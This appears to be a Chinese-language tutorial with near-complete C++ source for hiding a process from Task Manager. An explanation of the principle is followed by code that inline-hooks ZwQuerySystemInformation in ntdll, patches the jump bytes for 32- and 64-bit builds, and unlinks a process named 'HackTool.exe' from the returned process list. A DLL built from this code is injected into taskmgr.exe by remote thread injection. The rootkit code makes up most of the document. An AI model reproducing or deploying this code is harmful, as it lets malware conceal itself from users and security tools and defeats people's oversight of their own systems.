實現原理:
由於遍歷進程通常是通過調用WIN32 API函數 EnumProcesses 或是CreateToolhelp32Snapshot 等來實現的。
通過跟蹤逆向這些WIN32 API函數可知,它們內部最終是通過調用ZwQuerySystemInformation函數來檢索系
統進程信息的,從而實現進程遍歷操作。所以,程序只需要HOOK ZwQuerySystemInformation這一個函數就
足夠了。在ZwQuerySystem Information函數的內部判斷檢索的信息是否是進程信息,若是,則對返回的進程
信息進行修改,將隱藏的進程信息從中去掉再返回。因此只要是通過調用ZwQuerySystemInformation來檢索
系統進程的,獲取到的數據均是被篡改的,自然獲取不到隱藏進程的信息,這樣,指定進程就被隱藏起來了。
代碼:
//CHideProcess.h #pragma once #include <windows.h> #include <winternl.h> void OnInlineHook(); void UnInlineHook(); NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
//CHideProcess.cpp #include "pch.h" #include "CHideProcess.h" typedef NTSTATUS(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength); char g_oldcode64_ZwQ[12] = { 0 }; char g_oldcode32_ZwQ[5] = { 0 }; // 開啟InlineHook void OnInlineHook() { // 1.獲取函數地址 HMODULE hModule = LoadLibraryA("ntdll.dll"); typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation"); // 32位修改5個字節,64位修改12個字節 #ifndef _WIN64 // jmp New_ZwQuerySystemInformation // 機器碼位:e9 _dwOffset(跳轉偏移) // addr1 --> jmp _dwNewAddress指令的下一條指令的地址,即eip的值 // addr2 --> 跳轉地址的值,即_dwNewAddress的值 // 跳轉偏移 _dwOffset = addr2 - addr1 BYTE g_newcode[5] = { 0xE9 }; // 2. 保存原始指令5個字節 memcpy(g_oldcode32_ZwQ, ZwQuerySystemInformation, 5); // 3. 計算跳轉偏移,構建跳轉 newcode[5] // 跳轉偏移 = 目標地址 - 指令所在- 指令長度 DWORD dwOffset = (DWORD)MyZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; *(DWORD*)(g_newcode + 1) = dwOffset; #else // mov rax,0x1122334455667788 // jmp rax // 機器碼是: // 48 b8 8877665544332211 // ff e0 BYTE g_newcode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 }; // 2. 保存原始指令12個字節 memcpy(g_oldcode64_ZwQ, ZwQuerySystemInformation, 12); // 3. 構建跳轉 newcode[12] ULONGLONG dwOffset = (ULONGLONG)MyZwQuerySystemInformation; *(ULONGLONG*)(g_newcode + 2) = dwOffset; #endif // !_WIN64 // 4. 寫入跳轉偏移 // 修改目標頁屬性 DWORD dwOldProtect; VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), PAGE_EXECUTE_READWRITE, &dwOldProtect); // 修改MessageBoxW指令前5個字節 memcpy(ZwQuerySystemInformation, g_newcode, sizeof(g_newcode)); // 恢復頁屬性 VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), dwOldProtect, &dwOldProtect); } // 關閉InlineHook void UnInlineHook() { // 還原MessageBoxW前5個字節 // 1.獲取函數地址 HMODULE hModule = LoadLibraryA("ntdll.dll"); typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation"); // 2.還原指令前5字節 // 修改目標頁屬性 DWORD dwOldProtect; VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32位下還原前5字節,64位下還原前12字節 #ifndef _WIN64 // 修改函數指令前5個字節 memcpy(ZwQuerySystemInformation, g_oldcode32_ZwQ, 5); #else // 修改函數指令前12個字節 memcpy(ZwQuerySystemInformation, g_oldcode64_ZwQ, 12); #endif // !_WIN64 // 恢復頁屬性 VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); } // hook后的新代碼 //特別注意要加上調用方式 WINAPI NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ) { NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; // 要隱藏的進程名 wchar_t dwHideProcessName[MAX_PATH] = L"HackTool.exe"; // 卸載鈎子 UnInlineHook(); // 1.獲取函數地址 HMODULE hModule = LoadLibraryA("ntdll.dll"); typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return status; } // 調用原函數 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); // 如果是檢索系統的進程信息並且調用原函數成功 if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 判斷是否是要隱藏的進程PID // 如果是要隱藏的進程PID if (lstrcmp(pCur->ImageName.Buffer, dwHideProcessName) == 0) { if (0 == pCur->NextEntryOffset) { //當我們需要隱藏的進程是最后一個數據時 //就將上一個數據結構的NextEntryOffset置0 //這時系統在遍歷我們進程時就不會發現了 pPrev->NextEntryOffset = 0; } else { //當我們需要隱藏的進程 后面還有進程時 //越過要隱藏的進程讓 NextEntryOffset //指向下一個數據塊 pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; } //多個PID比較時,這里千萬要去掉 break; } if (0 == pCur->NextEntryOffset) { break; } pPrev = pCur; pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } //設置鈎子 OnInlineHook(); return status; }
// dllmain.cpp : 定義 DLL 應用程序的入口點。 #include "pch.h" #include "CHideProcess.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { OnInlineHook(); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: { UnInlineHook(); break; } break; } return TRUE; }
//獲取當前程序所在路徑 char pszFileName[MAX_PATH] = { 0 }; GetModuleFileName(NULL, pszFileName, MAX_PATH); //要注入的進程名(任務管理器 win7 32位taskmgr.exe win10 64位Taskmgr.exe) #ifndef _WIN64 char pszProcseeName[MAX_PATH] = "taskmgr.exe"; #else char pszProcseeName[MAX_PATH] = "Taskmgr.exe"; #endif //根據進程名獲取進程PID DWORD nPid = GetProcessIdByProcessName(pszProcseeName); if (nPid != 0) { //獲取當前程序所在目錄 (strrchr(pszFileName, '\\'))[0] = 0; //拼接要注入dll路徑 char pszDllName[MAX_PATH] = { 0 }; sprintf_s(pszDllName, "%s\\%s", pszFileName, "Hook_taskmgr.dll"); //遠程線程注入DLL CreateRemoteThreadInjectDll(nPid, pszDllName); }
通過進程名獲取進程PID鏈接:根據進程名獲取進程PID
遠程線程注入鏈接:遠程線程注入